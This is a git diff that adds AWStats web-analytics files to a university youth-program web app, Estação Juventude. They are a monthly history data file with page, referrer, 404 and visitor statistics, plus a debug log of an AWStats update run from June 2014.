+http://elgg.c3sl.ufpr.br:8080/estacaojuventude/programas/form/110+249 6 25 +http://elgg.c3sl.ufpr.br:8080/estacaojuventude/programas 5 9 +http://elgg.c3sl.ufpr.br:8080/estacaojuventude/ 4 4 +http://elgg.c3sl.ufpr.br:8080/estacaojuventude/programas/pesquisa/form/0 4 4 +http://elgg.c3sl.ufpr.br:8080/estacaojuventude/usuarios/349 3 6 +http://elgg.c3sl.ufpr.br:8080/estacaojuventude/programas/listCandidatos 2 2 +http://elgg.c3sl.ufpr.br:8080/estacaojuventude/programas/form/131 2 2 +http://elgg.c3sl.ufpr.br:8080/estacaojuventude/programas/pesquisa/form/132 1 1 +http://elgg.c3sl.ufpr.br:8080/estacaojuventude/resources/dijit/themes/tundra/tundra.css 0 28 +http://elgg.c3sl.ufpr.br:8080/estacaojuventude/localizacoes 2 2 +http://elgg.c3sl.ufpr.br:8080/estacaojuventude/programas/pesquisa 2 2 +http://elgg.c3sl.ufpr.br:8080/estacaojuventude/usuarios 2 2 +http://elgg.c3sl.ufpr.br:8080/estacaojuventude/programas/meusprogramas 1 10 +http://elgg.c3sl.ufpr.br:8080/estacaojuventude/monitoramento/ 0 32 +http://elgg.c3sl.ufpr.br:8080/estacaojuventude/ocorrenciamunicipais/form/110+304 1 1 +http://elgg.c3sl.ufpr.br:8080/estacaojuventude/programas/listEfetivos 2 4 +http://elgg.c3sl.ufpr.br:8080/estacaojuventude/ocorrenciamunicipais/minhasocorrencias 1 1 +http://elgg.c3sl.ufpr.br:8080/estacaojuventude/ocorrenciamunicipais/form/98+100 2 2 +END_PAGEREFS + +# Search keyphrases - Number of search +# The 10 first number of search must be first (order not required for others) +BEGIN_SEARCHWORDS 0 +END_SEARCHWORDS + +# Search keywords - Number of search +# The 10 first number of search must be first (order not required for others) +BEGIN_KEYWORDS 0 +END_KEYWORDS + +# Errors - Hits - Bandwidth +BEGIN_ERRORS 3 +302 19 0 +400 1 971 +404 42 81396 +END_ERRORS + +# URL with 404 errors - Hits - Last URL referer +BEGIN_SIDER_404 6 +/estacaojuventude/programas/pesquisa/form/resources/styles/jquery-1.11.0.min.js 7 http://elgg.c3sl.ufpr.br:8080/estacaojuventude/programas/pesquisa/form/0 +/estacaojuventude/programas/form/resources/styles/jquery-1.11.0.min.js 8 http://elgg.c3sl.ufpr.br:8080/estacaojuventude/programas/form/110+249 +/estacaojuventude/programas/resources/styles/jquery-1.11.0.min.js 14 http://elgg.c3sl.ufpr.br:8080/estacaojuventude/programas/listCandidatos +/estacaojuventude/ocorrenciamunicipais/form/resources/styles/jquery-1.11.0.min.js 3 http://elgg.c3sl.ufpr.br:8080/estacaojuventude/ocorrenciamunicipais/form/110+304 +/estacaojuventude/usuarios/resources/styles/jquery-1.11.0.min.js 6 http://elgg.c3sl.ufpr.br:8080/estacaojuventude/usuarios/349 +/estacaojuventude/ocorrenciamunicipais/resources/styles/jquery-1.11.0.min.js 4 http://elgg.c3sl.ufpr.br:8080/estacaojuventude/ocorrenciamunicipais/listCandidatos +END_SIDER_404 + +# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit] +# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished +# The 10 first Hits must be first (order not required for others) +BEGIN_VISITOR 2 +200.17.202.11 60 152 1168775 20140627004626 +10.254.225.12 7 33 598806 20140627190529 20140627182249 /estacaojuventude/ocorrenciamunicipais/listCandidatos +END_VISITOR + +# Date - Pages - Hits - Bandwidth - Visits +BEGIN_DAY 2 +20140626 20 107 516640 1 +20140627 47 78 1250941 2 +END_DAY + +# Session range - Number of visits +BEGIN_SESSION 2 +1h+ 1 +15mn-30mn 1 +END_SESSION + +# URL - Pages - Bandwidth - Entry - Exit +# The 10 first Pages must be first (order not required for others) +BEGIN_SIDER 28 +/estacaojuventude/login 8 24546 3 0 +/estacaojuventude/ocorrenciamunicipais 6 125656 0 1 +/estacaojuventude/programas/selecionar 5 40887 0 0 +/estacaojuventude/ 5 30725 0 1 +/estacaojuventude/orgaoexecutores 4 94735 0 0 +/estacaojuventude/programas 4 140496 0 0 +/estacaojuventude/ocorrenciamunicipais/selecionar 3 27343 0 0 +/estacaojuventude/programas/pesquisa/form/0 3 53295 0 0 +/estacaojuventude/programas/form/110+249 3 105755 0 0 +/estacaojuventude/usuarios/349 3 28875 0 0 +/estacaojuventude/orgaoexecutores/80 1 7528 0 0 +/estacaojuventude/programas/pesquisa/form/132 1 17337 0 0 +/estacaojuventude/orgaoexecutores/81 1 7528 0 0 +/estacaojuventude/usuarios 2 24779 0 0 +/estacaojuventude/programas/listEfetivos 2 26720 0 0 +/estacaojuventude/orgaoexecutores/9 1 7673 0 0 +/estacaojuventude/ocorrenciamunicipais/minhasocorrencias 1 11833 0 0 +/estacaojuventude/programas/listCandidatos 2 44160 0 0 +/estacaojuventude/ocorrenciamunicipais/listCandidatos 1 11830 0 0 +/estacaojuventude/monitoramento/ 1 83781 0 0 +/estacaojuventude/programas/form/131 1 35207 0 0 +/estacaojuventude/orgaoexecutores/79 1 7528 0 0 +/estacaojuventude/localizacoes 2 53330 0 0 +/estacaojuventude/programas/pesquisa/selecionar 1 8708 0 0 +/estacaojuventude/programas/pesquisa 2 37856 0 0 +/estacaojuventude/ocorrenciamunicipais/form/98+100 1 21133 0 0 +/estacaojuventude/ocorrenciamunicipais/form/110+304 1 21299 0 0 +/estacaojuventude/programas/meusprogramas 1 22079 0 0 +END_SIDER diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/errors.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/errors.txt new file mode 100644 index 0000000..e69de29 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/extra.out b/src/main/webapp/monitoramento/wwwroot/cgi-bin/extra.out new file mode 100644 index 0000000..444a64a --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/extra.out @@ -0,0 +1,445 @@ +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Awstats - 7.2 (build 1.992) - Perl /usr/bin/perl 5.014002 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - DIR=/root/monitoramento-ej/wwwroot/cgi-bin PROG=awstats Extension=pl +Mon Jun 30 09:00:02 2014 - DEBUG 2 - QUERY_STRING=config=extra&update&debug=9&&&&& +Mon Jun 30 09:00:02 2014 - DEBUG 1 - HTMLOutput= +Mon Jun 30 09:00:02 2014 - DEBUG 2 - YearRequired=2014, MonthRequired=06 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - DayRequired=, HourRequired= +Mon Jun 30 09:00:02 2014 - DEBUG 2 - UpdateFor=0 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - PluginMode= +Mon Jun 30 09:00:02 2014 - DEBUG 2 - DirConfig= +Mon Jun 30 09:00:02 2014 - DEBUG 2 - Opened config: /root/monitoramento-ej/wwwroot/cgi-bin/awstats.extra.conf +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Config file read was "/root/monitoramento-ej/wwwroot/cgi-bin/awstats.extra.conf" (level 1) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Check_Config +Mon Jun 30 09:00:02 2014 - DEBUG 2 - LogFile='/var/lib/tomcat7/other_logs/app.%YYYY-24-%MM-24-%DD-24.txt' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - LogType='W' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - LogFormat='%time2 %extra1' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - LogSeparator=' ' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - DNSLookup='0' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - DirData='/root/monitoramento-ej/wwwroot/cgi-bin/data' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - DirCgi='/cgi-bin' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - DirIcons='icon' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - NotPageList css,bmp,png,ico,swf,xml,js,jpg,jpeg,rss,class,gif +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ValidHTTPCodes 304,200 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ValidSMTPCodes 1,250 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - UseFramesWhenCGI=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - BuildReportFormat=html +Mon Jun 30 09:00:02 2014 - DEBUG 2 - BuildHistoryFormat=text +Mon Jun 30 09:00:02 2014 - DEBUG 2 - URLWithQueryWithOnlyFollowingParameters= +Mon Jun 30 09:00:02 2014 - DEBUG 2 - URLWithQueryWithoutFollowingParameters= +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Substitute_Tags on /var/lib/tomcat7/other_logs/app.%YYYY-24-%MM-24-%DD-24.txt +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Found a time tag 'YYYY' with a phase of '24' hour in log file name +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Found a time tag 'MM' with a phase of '24' hour in log file name +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Found a time tag 'DD' with a phase of '24' hour in log file name +Mon Jun 30 09:00:02 2014 - DEBUG 2 - LogFile='/var/lib/tomcat7/other_logs/app.2014-06-29.txt' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - LogFormat='%time2 %extra1' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - LogSeparator=' ' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - DNSLookup='0' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - DirData='/root/monitoramento-ej/wwwroot/cgi-bin/data' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - DirCgi='/cgi-bin' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - DirIcons='icon' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - SiteDomain='observatorio.c3sl.ufpr.br' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MiscTrackerUrl='/js/awstats_misc_tracker.js' +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{WormsShown}=5 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{ScreenSizesShown}=5 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{Domain}=10 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{WindowSizesShown}=5 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{OsShown}=10 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{PageShown}=10 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{DownloadsShown}=10 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{LoginShown}=10 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{EMailsShown}=20 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{KeyphrasesShown}=10 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{RefererShown}=10 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{RobotShown}=10 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{KeywordsShown}=10 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{HostsShown}=10 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MaxNbOf{BrowsersShown}=10 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{Robot}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{Worm}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{ScreenSize}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{Browser}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{Domain}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{Os}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{EMail}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{Login}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{Refer}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{Keyphrase}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{WindowSize}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{File}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{Keyword}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{Host}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - MinHit{Downloads}=1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraCodeFilter[1] is array +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraConditionType[1] is array +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraConditionTypeVal[1] is array +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraColumnFunction[1][1] is array +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraColumnValuesType[1][1] is array extra1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraColumnValuesTypeVal[1][1] is array (?^i:user=\[([^\]]+)) +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraColumnFunction[1][2] is array +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraColumnValuesType[1][2] is array extra1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraColumnValuesTypeVal[1][2] is array (?^i:[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9] [0-9][0-9]:[0-9][0-9]:[0-9][0-9]) +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraColumnFunction[1][3] is array +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraColumnValuesType[1][3] is array extra1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraColumnValuesTypeVal[1][3] is array (?^i:url=\[([^\]]+)) +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraColumnFunction[1][4] is array +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraColumnValuesType[1][4] is array extra1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraColumnValuesTypeVal[1][4] is array (?^i:id=([0-9]+)) +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraColumnFunction[1][5] is array +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraColumnValuesType[1][5] is array extra1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraColumnValuesTypeVal[1][5] is array (?^i:{([^}]+)) +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraColumnFunction[1][6] is array +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraColumnValuesType[1][6] is array extra1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraColumnValuesTypeVal[1][6] is array (?^i:[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9] [0-9][0-9]:[0-9][0-9]:[0-9][0-9]) +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraCodeFilter[2] is array +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraConditionType[2] is array +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraConditionTypeVal[2] is array +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraColumnFunction[2][1] is array +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraColumnValuesType[2][1] is array extra1 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - ExtraColumnValuesTypeVal[2][1] is array (?^i:Username=([a-zA-Z0-9]+)) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - FrameName=main +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Read_Language_Data [FileLang="/root/monitoramento-ej/wwwroot/cgi-bin/lang/awstats-br.txt"] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Read_Ref_Data with files to load: search_engines.pm,operating_systems.pm,robots.pm,browsers.pm,mime.pm +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Read_Ref_Data [FilePath{search_engines.pm}="/root/monitoramento-ej/wwwroot/cgi-bin/lib/search_engines.pm"] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Read_Ref_Data [FilePath{operating_systems.pm}="/root/monitoramento-ej/wwwroot/cgi-bin/lib/operating_systems.pm"] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Read_Ref_Data [FilePath{robots.pm}="/root/monitoramento-ej/wwwroot/cgi-bin/lib/robots.pm"] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Read_Ref_Data [FilePath{browsers.pm}="/root/monitoramento-ej/wwwroot/cgi-bin/lib/browsers.pm"] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Read_Ref_Data [FilePath{mime.pm}="/root/monitoramento-ej/wwwroot/cgi-bin/lib/mime.pm"] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Read_Plugins with list: +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Scan for last history files into DirData='/root/monitoramento-ej/wwwroot/cgi-bin/data' with mask='(\d\d)(\d\d\d\d)' +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Read_History_With_TmpUpdate [2014,06,,,withupdate=0,withpurge=0,part=general,lastlinenb=0,lastlineoffset=0,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - date=201406 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - List of sections marked for load : general +Mon Jun 30 09:00:02 2014 - DEBUG 2 - List of sections marked for save : +Mon Jun 30 09:00:02 2014 - DEBUG 2 - History file to read is '/root/monitoramento-ej/wwwroot/cgi-bin/data/awstats062014.extra.txt' +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Data file version is 7002 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of GENERAL section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of GENERAL section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Stop reading history file. Got all we need. +Mon Jun 30 09:00:02 2014 - DEBUG 2 - Check and write all unwrote sections: +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Last year=2014 - Last month=06 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Last day= - Last hour= +Mon Jun 30 09:00:02 2014 - DEBUG 1 - LastLine=20140627182255 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - LastLineNumber=2 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - LastLineOffset=2 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - LastLineChecksum=0 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Init_HashArray +Mon Jun 30 09:00:02 2014 - DEBUG 2 - UpdateStats is 1 +Create/Update database for config "/root/monitoramento-ej/wwwroot/cgi-bin/awstats.extra.conf" by AWStats version 7.2 (build 1.992) +From data in log file "/var/lib/tomcat7/other_logs/app.2014-06-29.txt"... +Mon Jun 30 09:00:02 2014 - DEBUG 2 - Add 46 elements from RobotsSearchIDOrder_list1 into RobotsSearchIDOrder +Mon Jun 30 09:00:02 2014 - DEBUG 2 - Add 691 elements from RobotsSearchIDOrder_list2 into RobotsSearchIDOrder +Mon Jun 30 09:00:02 2014 - DEBUG 2 - Add 14 elements from RobotsSearchIDOrder_listgen into RobotsSearchIDOrder +Mon Jun 30 09:00:02 2014 - DEBUG 1 - RobotsSearchIDOrder has now 751 elements +Mon Jun 30 09:00:02 2014 - DEBUG 2 - Add 36 elements from SearchEnginesSearchIDOrder_list1 into SearchEnginesSearchIDOrder +Mon Jun 30 09:00:02 2014 - DEBUG 2 - Add 224 elements from SearchEnginesSearchIDOrder_list2 into SearchEnginesSearchIDOrder +Mon Jun 30 09:00:02 2014 - DEBUG 2 - Add 1 elements from SearchEnginesSearchIDOrder_listgen into SearchEnginesSearchIDOrder +Mon Jun 30 09:00:02 2014 - DEBUG 1 - SearchEnginesSearchIDOrder has now 261 elements +Mon Jun 30 09:00:02 2014 - DEBUG 4 - OptimizeArray (notcasesensitive=1) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 0 (^observatorio\.c3sl\.ufpr\.br$) to 1 (^localhost$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 0 (^observatorio\.c3sl\.ufpr\.br$) to 2 (^127\.0\.0\.1$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 0 (^observatorio\.c3sl\.ufpr\.br$) to 3 (myserver\.com$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 1 (^localhost$) to 0 (^observatorio\.c3sl\.ufpr\.br$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 1 (^localhost$) to 2 (^127\.0\.0\.1$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 1 (^localhost$) to 3 (myserver\.com$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 2 (^127\.0\.0\.1$) to 0 (^observatorio\.c3sl\.ufpr\.br$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 2 (^127\.0\.0\.1$) to 1 (^localhost$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 2 (^127\.0\.0\.1$) to 3 (myserver\.com$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 3 (myserver\.com$) to 0 (^observatorio\.c3sl\.ufpr\.br$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 3 (myserver\.com$) to 1 (^localhost$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Compare 3 (myserver\.com$) to 2 (^127\.0\.0\.1$) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - HostAliases precompiled regex list is now (?^i:^observatorio\.c3sl\.ufpr\.br$) (?^i:^localhost$) (?^i:^127\.0\.0\.1$) (?^i:myserver\.com$) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - OptimizeArray (notcasesensitive=1) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - SkipDNSLookupFor precompiled regex list is now +Mon Jun 30 09:00:02 2014 - DEBUG 4 - OptimizeArray (notcasesensitive=1) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - SkipHosts precompiled regex list is now +Mon Jun 30 09:00:02 2014 - DEBUG 4 - OptimizeArray (notcasesensitive=1) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - SkipReferrers precompiled regex list is now +Mon Jun 30 09:00:02 2014 - DEBUG 4 - OptimizeArray (notcasesensitive=1) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - SkipUserAgents precompiled regex list is now +Mon Jun 30 09:00:02 2014 - DEBUG 4 - OptimizeArray (notcasesensitive=0) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - SkipFiles precompiled regex list is now +Mon Jun 30 09:00:02 2014 - DEBUG 4 - OptimizeArray (notcasesensitive=1) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - OnlyHosts precompiled regex list is now +Mon Jun 30 09:00:02 2014 - DEBUG 4 - OptimizeArray (notcasesensitive=1) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - OnlyUsers precompiled regex list is now +Mon Jun 30 09:00:02 2014 - DEBUG 4 - OptimizeArray (notcasesensitive=1) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - OnlyUserAgents precompiled regex list is now +Mon Jun 30 09:00:02 2014 - DEBUG 4 - OptimizeArray (notcasesensitive=0) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - OnlyFiles precompiled regex list is now +Mon Jun 30 09:00:02 2014 - DEBUG 4 - OptimizeArray (notcasesensitive=0) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - NotPageFiles precompiled regex list is now +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call To DefinePerlParsingFormat (LogType='W', LogFormat='%time2 %extra1') +Mon Jun 30 09:00:02 2014 - DEBUG 1 - LogFormatString=%time2 %extra1 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - PerlParsingFormat is (?^:^([^ ]+\s[^ ]+) (.*)) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Start Update process (lastprocesseddate=201406) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Apply a filter to the log files "/var/lib/tomcat7/other_logs/method.2014-06-29.txt" "/var/lib/tomcat7/other_logs/id.2014-06-29.txt" "/var/lib/tomcat7/other_logs/login.2014-06-29.txt" +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Open log file "/var/lib/tomcat7/other_logs/app.2014-06-29.txt" +Phase 1 : First bypass old records, searching new record... +Searching new records from beginning of log file... +Blank record line 1 +Blank record line 2 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - _host_p:0 _host_h:0 _host_k:0 _host_l:0 _host_s:0 _host_u:0 + +Mon Jun 30 09:00:02 2014 - DEBUG 1 - _url_p:0 _url_k:0 _url_e:0 _url_x:0 + +Mon Jun 30 09:00:02 2014 - DEBUG 1 - _waithost_e:0 _waithost_l:0 _waithost_s:0 _waithost_u:0 + +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of processing log file (AWStats memory cache is TmpDNSLookup=0 TmpBrowser=0 TmpOS=0 TmpRefererServer=0 TmpRobot=0) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Read_History_With_TmpUpdate [2014,06,00,00,withupdate=1,withpurge=1,part=all,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - date=201406 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - List of sections marked for load : general time visitor day domain login robot worms emailsender emailreceiver session sider filetypes downloads os browser unknownreferer unknownrefererbrowser screensize origin sereferrals pagerefs searchwords misc errors sider_404 cluster extra_1 extra_2 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - List of sections marked for save : general misc time visitor day domain cluster login robot worms emailsender emailreceiver session sider filetypes downloads os browser screensize unknownreferer unknownrefererbrowser origin sereferrals pagerefs searchwords keywords errors sider_404 extra_1 extra_2 +Mon Jun 30 09:00:02 2014 - DEBUG 2 - History file to read is '/root/monitoramento-ej/wwwroot/cgi-bin/data/awstats062014.extra.txt' +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=header,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Data file version is 7002 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of GENERAL section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of GENERAL section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=general,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of MISC section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of MISC section (10 entries, 10 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=misc,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of TIME section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of TIME section (24 entries, 24 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=time,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of DOMAIN section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of DOMAIN section (1 entries, 1 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=domain,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList(10,1,HASH(0x22a82b8) with size=1,HASH(0x22a8288) with size=1) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 1 : ip (value=9, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - firstadd +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=9, nb elem val=1, nb elem egal=0. +Mon Jun 30 09:00:02 2014 - DEBUG 3 - Build key list and sort it. lowerval=9, nb elem val=1, nb elem egal=0. +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList End (keylist size=1) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of CLUSTER section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of CLUSTER section (0 entries, 0 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=cluster,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of LOGIN section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of LOGIN section (0 entries, 0 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=login,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList(10,1,HASH(0x22ab4d0) with size=0,HASH(0x22ab500) with size=0) +Mon Jun 30 09:00:02 2014 - DEBUG 3 - Build key list and sort it. lowerval=0, nb elem val=0, nb elem egal=0. +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList End (keylist size=0) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of ROBOT section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of ROBOT section (0 entries, 0 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History 